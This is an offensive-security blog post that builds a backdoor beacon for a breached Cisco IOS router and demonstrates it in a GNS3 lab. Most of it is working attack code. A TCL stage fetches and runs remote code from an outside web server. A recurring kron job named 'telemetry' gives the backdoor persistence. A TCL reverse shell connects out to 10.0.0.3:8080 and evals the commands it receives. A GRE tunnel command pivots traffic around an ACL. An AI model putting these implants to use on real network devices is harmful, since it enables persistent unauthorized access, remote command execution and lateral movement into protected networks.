# tl;dr After becoming more interested in routers and embedded firmware, I've realised that I do not have anything to backdoor a breached Cisco router. I (as always) went with the most primitive solution -- TCL scripts. As long as anything on the router can do scripting, HTTP and interface configuration, a beacon is very simple to develop (looking at you, RouterOS). All code from this post is available as a [gist](https://gist.github.com/zimnyaa/d6b1878d271a8e059ff3ff33619e0055) (because it is not much code tbh). # beacon requirements I had several requirements that a simple beacon must fulfill: - no tedious C2 server development - implant small enough to type out by hand, if necessary - as portable as possible (no device-specific stuff) - http(s) communication All this ensured that the beacon itself is as simple as possible. # lab setup I've used GNS3 for a very simple lab setup: > ![[ios-infra.png]] > *GNS3 lab with two network segments and a Cisco 7200 for simplicity* I have also configured a simple ACL to make sure there is no traffic between two subnets: > ![[ios-beacon-acl.png]] > *the ACL is* `deny 10.0.0.0 0.0.0.255; permit any` # beaconing process The usage workflow is as follows: ```j stage requests a URL -> if status_code == 200, download and run the script in http::data -> the script is a TCL reverse shell over a simple socket -> reconfigure router for GRE pivoting ``` This setup does not require a C2 server, only a web server capable of serving static files, a `nc` listener, and a GRE node for pivoting. The only script uploaded to the Cisco router is the stage: ```tcl # stage.tcl set id "cisco-R1" source "tmpsys:lib/tcl/http.tcl" ::http::config -useragent "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.91 Safari/537.36 OPR/48.0.2685.32" set httpToken [::http::geturl http://10.0.0.3/static/$id] if {[lindex [split [::http::code $httpToken] " "] 1] == "200"} { source [::http::data $httpToken] } ``` It was set to run with a kron task (you can also use EEM for TCL beacons): ```python R1(config)#kron occurrence telemetry in 0:3 recurring R1(config-kron-occurrence)#policy-list telemetrypol Kron: Policy Accepted, Policy telemetrypol needs to be configured R1(config-kron-occurrence)#kron policy-list telemetrypol R1(config-kron-policy)#cli tclsh nvram:stage.tcl ``` After adding a `static/ciscoR1` file pointing to the location of the reverse shell, the beacon checks in: > ![[ios-beacon-checkin.png]] > *I've used python here because there wasn't a netcat on the debian host* The reverse shell code is very simple, as TCL supports `eval` and sockets: ```tcl # revsh.tcl set id "cisco-R1" set revip 10.0.0.3 set revport 8080 set s [socket $revip $revport] fconfigure $s -translation auto set c "" while {$c != "revquit"} { puts -nonewline $s "IOS-tclsh-$id#" flush $s gets $s c if {![catch {set r [eval $c]} err]} { puts $s $r } flush $s } close $s ``` # GRE pivoting A GRE tunnel was set up with a simple oneliner: ```tcl ios_config "interface tunnel 1" "tunnel mode gre ip" "ip address 172.20.0.2 255.255.255.0" "tunnel source 10.0.0.1" "tunnel destination 10.0.0.3" ``` > ![[ios-beacon-grenew.png]] > *a tunnel interface is indeed created* After reconfiguring the Debian host, a tunnel is established: > ![[ios-clientgre-conf.png]] > ![[ios-greworks.png]] > *setting up the link, pinging the peer* Finally, after adding proper routes on the Debian box, I was able to reach the hosts behind the ACL: >![[ios-pivoting.png]] >*you might want to set up GRE over IPSEC for proper outbound pivoting* You can even set up a SOCKS4a proxy over a beacon like this with https://github.com/mohemiv/TCLtools/blob/master/tclproxy.tcl # references https://www.cisco.com/c/en/us/td/docs/ios-xml/ios/ios_tcl/configuration/12-4t/ios-tcl-12-4t-book/nm-script-tcl.html https://learnxinyminutes.com/docs/tcl/ https://hackmag.com/security/gre-pivoting/